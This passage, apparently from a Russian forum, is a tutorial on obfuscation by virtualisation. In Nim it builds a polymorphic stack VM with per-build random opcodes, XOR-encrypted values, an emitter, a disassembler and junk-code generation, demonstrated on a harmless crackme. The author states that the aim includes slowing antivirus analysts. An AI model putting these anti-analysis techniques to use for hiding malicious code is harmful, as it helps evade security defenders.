Чем же интересна обфускация через виртуализацию? Ответ достаточно банален: если для нативного кода или же для каких-то байт-кодов типа MSIL (.NET), WASM (WebAssembly), JVM (Java), CPython, Lua/LuaJIT уже существуют готовые дизассемблеры или декомпиляторы, то для байт-кода (или псевдо-кода, я буду использовать эти термины, как равнозначные), который придумаем мы, такого готового средства нет. Поэтому аверскому реверсеру (он же «дятел» в аверском мире) придется потратить побольше времени для понимания того, что же на самом деле делает программа, реализованная в виде ВМ и байт-кода. Нужно будет разобраться, какой опкод псевдокода что делает и зачем (при условии защиты программы от работы в песочнице, конечно). Безусловно, недостатком такого подхода будет существенное уменьшение производительности программы (если программа полностью реализована через ВМ), но виртуализировать можно только те ее части, которые нам действительно хочется скрыть от назойливых глаз. Поэтому в легитимном софте то и дело встречается виртуализация кода, связанного с лицензией, генерацией ключей или какими-то еще приватными вещами, чтобы чуток подзапарить реверсера/крякера, который будет пытаться этот лицензионный код сломать или понять, что он (код) делает.

Писать компилятор байт-кода и саму виртуальную машину мы будем на языке программирования Nim (как вы уже могли догадаться). У аверов есть пунктик по поводу языка Nim, особо всратые сигнатуры особо всратых аверов детектят вообще весь софт написанный на Nim. В контексте статьи мы не будем обсуждать то, каким образом эти сигнатуры можно сбивать (если интересно, то пишите в комментариях к статье, можем это обсудить). Но для особо упоротых танкистов просто скажу, что не надо орать на меня, если у вашего антивируса вдруг начнется эрекция на семплы из этой статьи, никакой малвари встроенной там нет, успокойтесь.

Код из этой статьи будет реализовывать минимальный и немного вырожденный пример, я много чего упрощу, чтобы это было понятно и удобно читать в формате статьи, но надеюсь, что вам будет интересно. Рассматривать что-то более универсальное в одной статье имеет мало смысла, будет слишком много букаф. Да мы с вами даже не будем писать свой сборщик мусора (GC – garbage collector) для нашей виртуальной машины, а переиспользуем тот, что реализован в самом ЯП Nim. Ну и да, представленный ниже код не претендует на истину в последней инстанции, может иметь баги, вызывать нозальных демонов и так далее. Всегда готов и рад услышать здравую критику или какие-либо идеи по улучшению представленного ниже кода. Критикуя — предлагайте свои решения и идеи, в спорах рождается истина, если спор имеет хоть какой-то смысл. Ну давайте начинать.

2. Стековая виртуальная машина

Стековая виртуальная машина — на то она и стековая, что подавляющее большинство вещей в ней решается через стек. Почти все инструкции нашей виртуальной машины будут либо брать что-то со стека, либо класть что-то на стек, либо делать и то и другое. Я подразумеваю, что вы все из каких-то базовых курсов по программированию и структурам данных знаете, что такое стек, если нет, то добро пожаловать на вики: https://ru.wikipedia.org/wiki/Стек — пробегитесь по этой статье и возвращайтесь читать дальше мою. Как давным- давно выяснили разработчики всяческих виртуальных машин для всяческих языков программирования стековая организация виртуальной машины прекрасно подходит для того, чтобы транслировать семантику (смысл) программного кода, представленного в виде AST в байт-код. Давайте рассмотрим следующий пример:

Code:Copy to clipboard

import macros

dump_tree:
    1 + 2 * 3

# nim e astdump.nims
#
# StmtList
#   Infix
#     Ident "+"
#     IntLit 1
#     Infix
#       Ident "*"
#       IntLit 2
#       IntLit 3

Допустим, мы хотим каким-то образом скомпилировать выражение «1 + 2 * 3». Процедура dump_tree из библиотеки macros языка Nim выведет в консоль то, каким образом код внутри блока dump_tree представляется в виде AST (древовидной структуры, помните же, да?). StmtList — это просто контейнер, который может содержать в себе несколько выражений, но на него обращать существенное внимание сейчас не стоит. Infix — это одно выражение, у которого может быть левая часть, оператор и правая часть. Так сложилось, что оператором в языке Nim является первый потомок Infix, левой частью — второй потомок, а правой частью — третий потомок. Обратите внимание, что Infix для умножения является третьим потомком Infix сложения в данном случае. Это обусловлено тем, что по правилам математики, которые все должны еще со школы знать, умножение имеет больший приоритет, чем сложение, то есть исполняется первым (по сути, исходное выражение является «(1 + (2 * 3))», если мы расставим правильно скобки по его смыслу). Интерпретатор (именно интерпретатор, а не компилятор), если бы исполнял такую конструкцию, сначала бы вычислил значение Infix умножения, потом само значение подставил бы в третьего потомка Infix сложения, а затем уже исполнил Infix сложения. Не так страшно, если вы толком ничего не поняли о том, что я сказал в этом абзаце, надеюсь, что дальше станет понятнее.

Code:Copy to clipboard

PUSH 1 # Положить на стек 1
PUSH 2 # Положить на стек 2
PUSH 3 # Положить на стек 3
MUL # Взять со стека два числа, перемножить, положить результат на стек
ADD # Взять со стека два числа, сложить, положить результат на стек

Вот так может выглядеть байт-код стековой виртуальной машины, который получится при компиляции исходного выражения. Ровно так же, как это делал интерпретатор, мы можем обходить узлы AST и генерировать код для каждого из узлов рекурсивно. Давайте рассмотрим, как это будет делать алгоритм. Алгоритм «заходит» в узел StmtList, перечисляет всех потомков узла и «заходит» в каждого из них. У нас такой потомок один. Алгоритм «заходит» в Infix, для этого узла ему сначала нужно посетить второго и третьего потомка, а затем в зависимости от оператора сгенерировать соответствующую инструкцию (для «+» - инструкцию ADD, для «*» - инструкцию MUL). При посещении узлов IntLit алгоритм просто генерирует инструкции PUSH с аргументом целого числа, взятого из узла литерала, и затем выходит, прекращая рекурсивное посещение потомков (ведь потомков у узла нет). Применяемый в этом алгоритме для посещения всех узлов дерева паттерн проектирования называется «Посетитель» (он же «Visitor» в англоязычной литературе). Байт-код стековой виртуальной машины в этом случае в точности повторяет поведения интерпретатора, наверное, именно поэтому стековые виртуальные машины стали часто использоваться при реализации языков программирования. «Я считаю, что это – стековая ВМ потому, что это удобно» (с).

Итак, давайте теперь соберем все мысли вместе. На этапе компиляции мы с помощью мета-программирования получим AST некоторого кода. С помощью паттерна Visitor обойдем все узлы полученного AST рекурсивно — ровно так же, как это сделал бы интерпретатор. Для каждого узла наш компилятор будет генерировать соответствующий байт-код. Затем мы возьмем этот блок байт-кода, обернем в код ВМ и подставим на место исходного кода, который нам нужно было защитить. Ну чтож, звучит, как план — надежный, как швейцарские часы!

3. Программирование крекмиши

Крекмиша будет ровно такая же, как и предыдущей статье. Код будет запрашивать у пользователя пароль в консоли, хешировать его предельно простым алгоритмом, сравнивать значение хеша с эталонным и выводить сообщения об успехе или неуспехе в консоль.

Code:Copy to clipboard

import vm/types
import vm/compiler
import vm/runtime

const hash_seed = ct_seed.uint32

proc cp_hash_string(str: string): uint32 {. compile_time .} =
    result = hash_seed
    for i in 0 ..< len(str):
        let v1 = result * 0xab10f29f'u32
        let v2 = v1 + ord(str[i]).uint32
        result += v2 and 0xffffff'u32

proc original_function() =
    echo("Enter password, bro: ")
    var password = read_line(stdin)
      
    var xhash = hash_seed
    for i in 0 ..< len(password):
        let v1 = xhash * 0xab10f29f'u32
        let v2 = ord(password[i]).uint32
        xhash += (v1 + v2) and 0xffffff'u32

    if xhash == cp_hash_string("TestDatVmStuff"):
        echo("Password is valid, bro!")
        echo("You are real cracker, bro!")
    else:
        echo("Password is invalid, bro!")
        echo("Better luck next time, bro!")

Константа hash_seed является уникальным зерном для алгоритма хеширования и генерируется в зависимости от даты и времени компиляции. Процедура cp_hash_string хеширует строку на этапе компиляции и подставляет на место ее вызова 32-битный хеш от переданной строки. Процедура original_function проделывает все манипуляции с пользователем и консолью, описанные выше. Почему же я назвал ее «оригинальной функцией»? Помните, я говорил, что компиляторы в байт-код проводят своего рода упрощения кода, переводя высокоуровневые конструкции языка в низкоуровневые. Давайте в качестве упражнения и для упрощения себе жизни при разработке компилятора проделаем это руками.

Code:Copy to clipboard

proc lowered_function() {. virtualize .} =
    echo("Enter password, bro: ")
    var password = read_line(stdin)
  
    var xhash = hash_seed
    var slen = len(password)
    var i = 0

    while i < slen:
        let v1 = xhash * 0xab10f29f'u32
        let v2 = ord(password[i]).uint32
        let v3 = (v1 + v2) and 0xffffff'u32
        xhash = xhash + v3 
        i = i + 1

    if xhash == cp_hash_string("TestDatVmStuff"):
        echo("Password is valid, bro!")
        echo("You are real cracker, bro!")
    else:
        echo("Password is invalid, bro!")
        echo("Better luck next time, bro!")

lowered_function()

Обратите внимание, что цикл for мы упростили до цикла while. Эта типичный пример так называемого «lowering» в компиляторах. Для того, чтобы в генераторе кода (или байт-кода, как хотите) не делать обработку двух видов циклов (for и while) можно сделать обработку одного низкоуровневого из них, а высокоуровневый привести к виду низкоуровневого заранее (до генерации кода). Таких примеров перевода одних конструкций в другие в компиляторах можно встретить много, для нашего минимального примера достаточно и одного (в образовательных целях).

На последней строчке кода стоит вызов процедуры, а у самой процедуры есть интересный атрибут «virtualize» - это главный макрос, который мы с вами напишем позже, он проделает всю работу над процедурой lowered_function, преобразуя ее в байткод и вызов ВМ.

Давайте посмотрим на этот код и прикинем, какие структуры данных и код нам потребуется, чтобы реализовать процедуру lowered_function в байт-коде виртуальной машины. Для начала я вижу, что в процедуре используются три типа данных. Строки (string) и 32-битные беззнаковые целые числа (uint32) используются явно, но, поскольку у нас есть и операторы сравнения, то нам понадобится еще и булевый тип данных. Таким образом, нам понадобятся опкоды для того, чтобы положить на стек константы для string и uint32 типов данных. В коде есть операторы умножения, сложения, побитового «И», применяемые над типом данных uint32, функции len, echo и ord, применяемые над типом string. Все эти операторы и функции будут в нашей ВМ представлены отдельными опкодами. Кроме того, нам нужна возможность объявлять, получать и изменять значения локальных переменных, для этого тоже будет отдельные опкоды. Нам нужно выводить и считывать строки из/в консоли, еще вам два опкода, получите и распишитесь. Ну и, конечно, самое важное для любой ВМ – опкод NOP (no operation, то есть ничего не делать). Шучу. Его наличие не обязательно, но я его добавил для того, чтобы господа реверсеры, которые будут эту крекмиху решать, имели возможность «занопить» какие-то участки байт-кода. Крекми же подразумевает, что ее как-то можно решить за конечное и адекватное время.

Одной из задач, которую я себе ставил этим проектом, была создать своего рода полиморфную ВМ. То есть, например, сделать так, чтобы при каждой сборке опкоды имели разное значение. Для этого я навернул разных алгоритмов в компилятор, некоторые из них хорошие, некоторые из них плохие. При этом для экономии места я не стал включать в статью алгоритмы полиморфизации кода самой виртуальной машины (только байт-кода), хотя на практике это лучше сделать. Но опкоды у нас будут каждый раз разные и мы даже сделаем небольшой генератор мусорного байт- кода. Мне показалось, что эти вещи будет интереснее осветить в статье, чем другие. Само собой задача статьи – не дать готовый инструмент, а показать основы и пробудить интерес к этой теме в общем.

4. Типы и структуры ВМ

Ну чтож, начнем писать компилятор и код самой виртуальной машины. Для начала нам потребуется один общий модуль, содержащий все типы данных и общие процедуры для ВМ и компилятора. Для этого создадим модуль types.

Code:Copy to clipboard

import std/algorithm
import std/random
import std/hashes
import std/macros

const ct_time* = CompileDate & CompileTime
const ct_seed* = ct_time.hash().int64

var ct_rand* {. compile_time .} = init_rand(ct_seed)

Подключаем необходимые стандартные библиотеки языка Nim и на этапе компиляции генерируем уникальное зерно, для этого получаем хеш-значение текущей даты и времени компиляции. Затем, с помощью зерна инициализируем генератор псевдослучайных чисел. Атрибут compile_time указывает компилятору языка Nim, что этот ГПСЧ может быть использован на этапе компиляции, а не на этапе исполнения.

Code:Copy to clipboard

macro rand_enum(node: untyped): untyped =
    node.last.expect_kind(nnkEnumTy)

    var idents = new_seq[NimNode]()
    for item in node.last:
        if item.kind == nnkIdent:
            idents.add(item)
        elif item.kind == nnkEnumFieldDef:
            item[0].expect_kind(nnkIdent)
            idents.add(item[0])

    var values = new_seq[uint8]()
    for i in 0 ..< idents.len():
        var rnd = ct_rand.rand(1..255).uint8
        while values.contains(rnd):
            rnd = ct_rand.rand(1..255).uint8

        values.add(rnd)

    values.sort(system.cmp)
    ct_rand.shuffle(idents)

    var last = nnkEnumTy.new_tree()
    last.add(new_empty_node())

    let lownode = nnkEnumFieldDef.new_tree()
    lownode.add(ident("LowEnumItemFuckYou"))
    lownode.add(new_lit(0'u8))
    last.add(lownode)

    for i in 0 ..< idents.len():
        let node = nnkEnumFieldDef.new_tree()
        let value = new_lit(values[i])
        node.add(idents[i])
        node.add(value)
        last.add(node)   

    node[^1] = last
    return node

Макрос rand_enum с помощью генератора псевдослучайных чисел рандомизирует константы элементов перечисления. Для этого он собирает все идентификаторы исходного перечисления, для каждого из них генерирует уникальное псевдослучайное число, а затем создает новое перечисление, где каждому идентификатору соответствует уникальное число. Важно отметить, что компилятору языка Nim по неведомой мне причине необходим нулевой элемент в перечислении (low item). Для удовлетворения этой потребности мы просто закостылим во все рандомизированные перечисления своей нулевой элемент, который у нас будет носить говорящее о многом название «LowEnumItemFuckYou».

Code:Copy to clipboard

type TypeKind* {. pure, rand_enum .} = enum
    Boolean, Integer, String

type Object* = object
    case kind: TypeKind
    of TypeKind.Boolean:
        boolean_key: uint8
        boolean_val: uint8
    of TypeKind.Integer:
        integer_key: uint32
        integer_val: uint32
    of TypeKind.String:
        string_key: uint32
        string_val: seq[uint8]
    else: discard

const ct_true*  = ct_rand.rand(1 .. 255).uint8
const ct_false* = not ct_true

Объявим перечисление типов данных виртуальной машины (TypeKind), как мы с вами и договаривались ранее (3 типа – були, целые числа, строки). Затем объявим структуру «объекта» виртуальной машины (Object). Под «объектом» мы будем понимать сущность, которая держит внутри себя значение типа данных. Эта сущность будет использоваться при реализации стека и контейнера для всех локальных переменных. Данные в этой сущности будут храниться в памяти в зашифрованном виде и расшифровываться по мере необходимости. Для каждой такой сущности ключ шифрования данных в памяти будет создан псевдослучайно. Ну и в конце представленного кода мы объявим две константы, которые в нашей ВМ будут означать true и false, чтобы не использовать для этого пресловутые единицу и ноль.

Code:Copy to clipboard

proc rand_uint32*(): uint32 =
    let rng = 1'u32 .. 0xFFFFFFFF'u32
    return rand(rng).uint32

proc ct_rand_uint32*(): uint32 =
    let next = ct_rand.next() and 0xFFFFFFFF'u64
    return 1'u32 + (next.uint32 mod 0xFFFFFFFF'u32)

proc rand_uint16*(): uint16 =
    let rng = 1'u32 .. 0xFFFF'u32
    return rand(rng).uint16

proc ct_rand_uint16*(): uint16 =
    let rng = 1'u32 .. 0xFFFF'u32
    return ct_rand.rand(rng).uint16

proc rand_uint8*(): uint8 =
    return rand(1 .. 255).uint8

proc ct_rand_uint8*(): uint8 =
    return ct_rand.rand(1 .. 255).uint8

proc ct_rand_string*(mn: int, mx: int): string =
    let length = ct_rand.rand(mn .. mx)
    result = new_string_of_cap(length)
    for i in 0 ..< length:
        let ascii = ct_rand.rand('a' .. 'z')
        result &= chr(ascii.int)

proc set_boolean*(obj: var Object, value: bool) =
    let rvl =
        if value: ct_true
        else: ct_false
  
    let key = rand_uint8()
    let val = rvl xor key
  
    obj.kind = TypeKind.Boolean
    obj.boolean_key = key
    obj.boolean_val = val

proc get_boolean*(obj: Object): uint8 =
    let key = obj.boolean_key
    return obj.boolean_val xor key

proc new_boolean_obj*(value: bool): Object =
    result = Object()
    result.set_boolean(value)

proc set_integer*(obj: var Object, value: uint32) =
    let key = rand_uint32()
    let val = value xor key

    obj.kind = TypeKind.Integer
    obj.integer_key = key
    obj.integer_val = val

proc get_integer*(obj: Object): uint32 =
    let key = obj.integer_key
    return key xor obj.integer_val

proc new_integer_obj*(value: uint32): Object =
    result = Object()
    result.set_integer(value)

proc xor_string*(key: uint32, value: string): seq[uint8] =
    let bkey = [
        (key shr 0  and 0xFF'u8).uint8,
        (key shr 8  and 0xFF'u8).uint8,
        (key shr 16 and 0xFF'u8).uint8,
        (key shr 24 and 0xFF'u8).uint8
    ]

    result = new_seq[uint8](value.len)
    for i in 0 ..< result.len:
        let ikey = bkey[i mod 4] + i.uint8
        let ichr = ord(value[i]).uint8
        result[i] = ikey xor ichr

proc xor_string*(key: uint32, value: seq[uint8]): string =
    let bkey = [
        (key shr 0  and 0xFF'u8).uint8,
        (key shr 8  and 0xFF'u8).uint8,
        (key shr 16 and 0xFF'u8).uint8,
        (key shr 24 and 0xFF'u8).uint8
    ]

    result = new_string_of_cap(value.len)
    for i in 0 ..< value.len:
        let ikey = bkey[i mod 4] + i.uint8
        let ichr = ikey xor value[i]
        result &= chr(ichr)

proc set_string*(obj: var Object, value: string) =
    let key = rand_uint32()
    let val = xor_string(key, value)

    obj.kind = TypeKind.String
    obj.string_key = key
    obj.string_val = val

proc get_string*(obj: Object): string =
    let key = obj.string_key
    let val = obj.string_val
    return xor_string(key, val) 

proc new_string_obj*(value: string): Object =
    result = Object()
    result.set_string(value)

Нам понадобятся отдельные вспомогательные функции для генерации псевдослучайных чисел, как на этапе компиляции, так и на этапе выполнения, для четкого разделения между ними функции времени компиляции имеют префикс “ct”. Далее мы создаем вспомогательные функции для того, чтобы устанавливать и получать значения «объекта» виртуальной машины, в зависимости от его типа. При этом мы реализуем простое шифрование, таким образом данные в памяти не будут присутствовать в открытом виде до их непосредственного использования. Некоторые вещи здесь выглядят не особо оптимизированными, как, например, перевод 32-битного числа в массив из четырех байт в функциях xor_string, но это не суть важно, понадеемся, что компилятор эти вещи правильно соптимизирует.

Code:Copy to clipboard

type Opcode* {. pure, rand_enum .} = enum
    Nop,   # Ничего не делать
    PushI, # Положить на стек целое число
    PushS, # Положить на стек строку
    Pop,   # Удалить верхушку стека
    Store, # Сохранить верхушку стека в переменную
    Load,  # Загрузить переменную на стек
    Add,   # Сложить два числа на верхушке стека
    Mul,   # Умножить два числа на верхушке стека
    And,   # Применить побитовое "И" к верхушке стека
    Eq,    # Сравнить два числа на верхушке стека на равенство
    Lt,    # Сравнить, что одно число меньше другого
    JmpF,  # Условный переход, если на верхушке стека false
    Jmp,   # Безусловный переход
    Slen,  # Взять строку с верхушки стека, положить ее длину на стек
    Ord,   # Взять строку и индекс со стека, положить ASCII-код символа
    Echo,  # Вывести в консоль строку с верхушки стека
    Input, # Считать с консоли строку, положить в стек
    Halt   # Завершить исполнение ВМ

proc ct_rand_choice*(arr: open_array[Opcode]): Opcode =
    return ct_rand.sample(arr)

type Fixup* = object
    opcode*: int
    offset*: int

Ну и в конце объявляем опкоды нашей виртуальной машины и функцию для выбора псевдослучайного элемента из массива на этапе компиляции. Опкоды по идее должны говорить сами за себя, но если что-то не понятно, то пишите свои вопросы в комментарии к статье. Ну и да, обратите внимание, что опкоды и идентификаторы типов данных ВМ мы полиморфим с помощью реализованного в самом начале макроса. Структура Fixup понадобится нам для реализации условных и безусловных переходов в компиляторе, в ней будет хранится смещение опкода и на что его пофиксить. Чем-то похоже на релок в PE-формате, но смысл этой конструкции аналогичен использованию метки в ассемблерном листинге или в рассово-верных Сишечках и Басиках.

5. Создаем эмиттер

«Эмиттером» в компиляторах часто называют некий интерфейс, который создает байт-код (или нативный код), который ему скажут. В нашем случае мы просто будем иметь структуру с динамическим массивом байт и набор функций для того, чтобы просто и удобно писать туда (в динамический массив) наш байт-код.

Code:Copy to clipboard

import types

type Emitter* = object
    code*: seq[uint8]

proc new_emitter*(): Emitter =
    result = Emitter()
    result.code = new_seq[uint8]()

proc position*(emi: Emitter): int =
    return emi.code.len

proc write(emi: var Emitter, value: uint8) =
    emi.code.add(value)

proc write(emi: var Emitter, value: uint32) =
    emi.code.add((value shr 0  and 0xFF'u8).uint8)
    emi.code.add((value shr 8  and 0xFF'u8).uint8)
    emi.code.add((value shr 16 and 0xFF'u8).uint8)
    emi.code.add((value shr 24 and 0xFF'u8).uint8)

proc write(emi: var Emitter, position: int, value: uint32) =
    emi.code[position + 0] = (value shr 0  and 0xFF'u8).uint8
    emi.code[position + 1] = (value shr 8  and 0xFF'u8).uint8
    emi.code[position + 2] = (value shr 16 and 0xFF'u8).uint8
    emi.code[position + 3] = (value shr 24 and 0xFF'u8).uint8

proc write(emi: var Emitter, value: open_array[uint8]) =
    emi.code.add(value)

proc emit_opcode*(emi: var Emitter, opcode: Opcode): int =
    result = emi.code.len
  
    var key = ct_rand_uint8()
    var val = opcode.uint8
    emi.write(key xor val)
    emi.write(key)

proc emit_arg_uint8(emi: var Emitter, value: uint8): int =
    result = emi.code.len
  
    var key = ct_rand_uint8()
    emi.write(key xor value)
    emi.write(key)
 
proc emit_arg_uint32(emi: var Emitter, value: uint32): int =
    result = emi.code.len

    var key = ct_rand_uint32()
    emi.write(value xor key)
    emi.write(key)

proc emit_arg_uint32(emi: var Emitter, position: int, value: uint32): int =
    result = emi.code.len

    var key = ct_rand_uint32()
    emi.write(position, value xor key)
    emi.write(position + 4, key)

proc emit_arg_string(emi: var Emitter, value: string): int =
    result = emi.code.len

    var key = ct_rand_uint32()
    var ke2 = (key and 0xFF).uint8
    var val = xor_string(key, value) 
    var sln = val.len.uint8 xor ke2
    emi.write(sln)
    emi.write(key)
    emi.write(val)

proc emit_nop*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Nop)

proc emit_pushi*(emi: var Emitter, value: uint32): int =
    result = emi.emit_opcode(Opcode.PushI)
    discard emi.emit_arg_uint32(value)

proc emit_pushs*(emi: var Emitter, value: string): int =
    result = emi.emit_opcode(Opcode.PushS)
    discard emi.emit_arg_string(value)

proc emit_pop*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Pop)

proc emit_store*(emi: var Emitter, index: int): int =
    result = emi.emit_opcode(Opcode.Store)
    discard emi.emit_arg_uint8(index.uint8)

proc emit_load*(emi: var Emitter, index: int): int =
    result = emi.emit_opcode(Opcode.Load)
    discard emi.emit_arg_uint8(index.uint8)

proc emit_add*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Add)

proc emit_mul*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Mul)

proc emit_and*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.And)

proc emit_eq*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Eq)

proc emit_lt*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Lt)

proc emit_slen*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Slen)

proc emit_ord*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Ord)

proc emit_jmpf*(emi: var Emitter): Fixup =
    result = Fixup()
    result.opcode = emi.emit_opcode(Opcode.JmpF)
    result.offset = emi.emit_arg_uint32(0)

proc emit_jmp*(emi: var Emitter): Fixup =
    result = Fixup()
    result.opcode = emi.emit_opcode(Opcode.Jmp)
    result.offset = emi.emit_arg_uint32(0)

proc emit_echo*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Echo)

proc emit_input*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Input)

proc emit_halt*(emi: var Emitter): int =
    result = emi.emit_opcode(Opcode.Halt)

proc bind_fixup*(emi: var Emitter, fix: Fixup, value: uint32): int =
    return emi.emit_arg_uint32(fix.offset, value)

Для начала мы объявляем структуру объекта эмиттера (Emitter), его конструктор (new_emitter) и функцию для получения текущей позиции эмиттера (смещение от начала байт-кода того места, куда будет записана следующая инструкция). Затем мы создадим несколько приватных методов для записи различных типов данных в эмиттер, а уже после этого все методы для записи всех опкодов нашей ВМ. Каждый опкод и каждая константа записывается вместе с псевдослучайным ключем для ее простого шифрования. Если опкод требует параметра, то значение этого параметра передается в соответствующую функцию записи опкода (сделать такие функции прослойки – это хороший метод не проебаться на ровном месте, ведь компилятор выдаст ошибку, если мы попытаемся записать опкод без аргумента, или же с аргументом неправильного типа). Функция bind_fixup заменяет указанный релок или фиксап, прописывая действительный адрес байт-кода, относительно его начала.

6. Создаем ридер и дизассемблер

«Ридером» у нас будет называться отдельный интерфейс образно обратный эмиттеру, то есть предназначенный для чтения и дешифрования того, что мы записали с помощью эмиттера. Его можно было бы встроить и в саму ВМ, но мы с вами еще и дизассемблер напишем в процессе, так что хорошо бы этот функционал вывести в отдельный модуль, который может быть переиспользован в разных компонентах. Код должен говорить сам за себя, но, если что-то непонятно, не стесняйтесь спрашивать.

Code:Copy to clipboard

import types

type Reader* = object
    code*: seq[uint8]
    position*: int

proc new_reader*(code: seq[uint8]): Reader =
    result = Reader()
    result.code = code
    result.position = 0

proc at_end*(rea: Reader): bool =
    return rea.position >= rea.code.len

proc set_end*(rea: var Reader) =
    rea.position = rea.code.len

proc read_uint8(rea: var Reader): uint8 =
    result = rea.code[rea.position]
    rea.position = rea.position + 1

proc read_uint32(rea: var Reader): uint32 =
    result = rea.code[rea.position].uint32 shl 0
    result = result or (rea.code[rea.position + 1].uint32 shl 8)
    result = result or (rea.code[rea.position + 2].uint32 shl 16)
    result = result or (rea.code[rea.position + 3].uint32 shl 24)
    rea.position = rea.position + 4

proc read_bytes(rea: var Reader, length: int): seq[uint8] =
    result = rea.code[rea.position ..< rea.position + length]
    rea.position = rea.position + length

proc read_opcode*(rea: var Reader): Opcode =
    let val = rea.read_uint8()
    let key = rea.read_uint8()
    return (key xor val).Opcode

proc read_arg_uint8*(rea: var Reader): uint8 =
    let val = rea.read_uint8()
    let key = rea.read_uint8()
    return key xor val

proc read_arg_uint32*(rea: var Reader): uint32 =
    var val = rea.read_uint32()
    var key = rea.read_uint32()
    return key xor val

proc read_arg_string*(rea: var Reader): string =
    var sln = rea.read_uint8()
    let key = rea.read_uint32()
    let ke2 = (key and 0xFF).uint8
    sln = sln xor ke2

    let val = rea.read_bytes(sln.int)
    return xor_string(key, val)

Дизассемблер байт-кода может пригодиться нам в том случае, если наш будущий компилятор будет генерировать какой-то ошибочный байт-код. Поэтому на этапе компиляции языка Nim мы будем на всякий случай выбрасывать в консоль то, что накомпилировал уже наш компилятор. Поскольку мы будем использовать дизассемблер только на этапе компиляции в финальный экзешник он не попадет. По функционалу дизассемблер просто считывает байт-код с помощью ридера и выводит каждую инструкцию и ее аргумент (если такой есть) в консоль.

Code:Copy to clipboard

import std/strformat
import std/strutils
import reader
import types

proc to_string*(opcode: Opcode): string =
    return case opcode
    of Opcode.Nop:   "NOP"
    of Opcode.PushI: "PUSHI"
    of Opcode.PushS: "PUSHS"
    of Opcode.Pop:   "POP"
    of Opcode.Store: "STORE"
    of Opcode.Load:  "LOAD"
    of Opcode.Add:   "ADD"
    of Opcode.Mul:   "MUL"
    of Opcode.And:   "AND"
    of Opcode.Eq:    "EQ"
    of Opcode.Lt:    "LT"
    of Opcode.JmpF:  "JMPF"
    of Opcode.Jmp:   "JMP"
    of Opcode.Slen:  "SLEN"
    of Opcode.Ord:   "ORD"
    of Opcode.Echo:  "ECHO"
    of Opcode.Input: "INPUT"
    of Opcode.Halt:  "HALT"
    else:            "WTF?!"

proc disassemble_one*(rea: var Reader): string =
    let offset = rea.position
    let opcode = rea.read_opcode()
    let opcstr = opcode.to_string()
    var opcarg = ""

    case opcode
    of Opcode.PushI:
        let arg = rea.read_arg_uint32()
        opcarg = &"{arg} (0x{arg.to_hex})"
    of Opcode.PushS:
        let arg = rea.read_arg_string()
        opcarg = &"\"{arg}\""
    of Opcode.Load:
        let arg = rea.read_arg_uint8()
        opcarg = &"index:{arg}"
    of Opcode.Store:
        let arg = rea.read_arg_uint8()
        opcarg = &"index:{arg}"
    of Opcode.JmpF:
        let arg = rea.read_arg_uint32()
        opcarg = &"{arg:04}"
    of Opcode.Jmp:
        let arg = rea.read_arg_uint32()
        opcarg = &"{arg:04}"
    else: discard

    return &"{offset:04} {opcstr: 5} {opcarg}"

proc disassemble_restore*(rea: var Reader): string =
    let position = rea.position
    result = disassemble_one(rea)
    rea.position = position

proc disassemble*(code: seq[uint8]): string =
    result = ""

    var rea = new_reader(code)
    while not rea.at_end():
        result &= rea.disassemble_one()
        result &= "\n"

7. Создаем компилятор

Компилятор будет получать AST-дерево кода, который нужно защитить, обходить все дерево этого кода с помощью паттерна «Посетитель» и генерировать байт-код для нашей ВМ. Это, наверное, самая сложная часть всего проекта, так что пристегните ремни.

Code:Copy to clipboard

import std/strformat
import std/strutils
import std/tables
import std/macros

import emitter
import disasm
import types

const generate_trash = false

type Fixup = object
    target: uint32
    fixup:  uint32

type Compiler = object
    locals: Table[string, int]
    fixups: seq[Fixup]
    emit:   Emitter
    root:   NimNode

proc to_hex(code: seq[uint8]): string =
    result = ""
    for byt in code:
        result &= byt.to_hex()

proc new_compiler(root: NimNode): Compiler =
    root.expect_kind(nnkStmtList)

    result = Compiler()
    result.locals = init_table[string, int]()
    result.fixups = new_seq[Fixup]()
    result.emit = new_emitter() 
    result.root = root

Константа generate_trash определяет, нужно ли компилятору генерировать мусорный байт-код и вмешивать его в настоящий байт-код. Опциональная генерация мусорного кода сделана для удобства отладки компилятора, зачем нам копаться в мусорном коде, если нужно отладить компилятор, так ведь? У нашей структуры компилятора будет всего лишь несколько полей. Нам нужно содержать таблицу локальных переменных, где имя локальной переменной будет ассоциировано с ее же порядковым номером внутри виртуальной машины. Массив фиксапов на самом деле оказался не так уж и нужен, но я его добавил на всякий случай, если фиксап нужно будет реализовывать между разными узлами AST в компиляторе. Но вот эмиттер нам понадобится, с его помощью компилятор будет генерировать байт-код. На всякий случай и указатель на корень компилируемого дерева (AST имеется ввиду) сохраним. Еще мы сделаем специальную функцию to_hex, которая просто конвертирует массив байт-кода в длинную хекс строку, ее мы будем выводить в консоль, чтобы убедиться в некоей степени полиморфности байт-кода. В конструкторе компилятора (new_compiler) мы просто проверяем, что нам передали узел StmtList (с помощью функции expect_kind) и инициализируем все поля структуры.

Code:Copy to clipboard

proc trash_generate_math(compiler: var Compiler) =
    let val1 = ct_rand_uint32()
    let val2 = ct_rand_uint32()
    let oper = ct_rand_choice([
        Opcode.Add, Opcode.Mul,
        Opcode.And
    ])

    discard compiler.emit.emit_pushi(val1)
    discard compiler.emit.emit_pushi(val2)
    discard compiler.emit.emit_opcode(oper)
    discard compiler.emit.emit_pop()

proc trash_generate_str(compiler: var Compiler) =
    let str = ct_rand_string(4, 12)
  
    discard compiler.emit.emit_pushs(str)

    if ct_rand_uint8() mod 2 == 1:
        discard compiler.emit.emit_slen()
        discard compiler.emit.emit_pop()
    else: discard compiler.emit.emit_pop()

proc trash_generate(compiler: var Compiler) =
    if generate_trash:
        case ct_rand_uint8() mod 4
        of 0: compiler.trash_generate_math()
        of 1: compiler.trash_generate_math()
        of 2: compiler.trash_generate_str()
        else: discard compiler.emit.emit_nop()

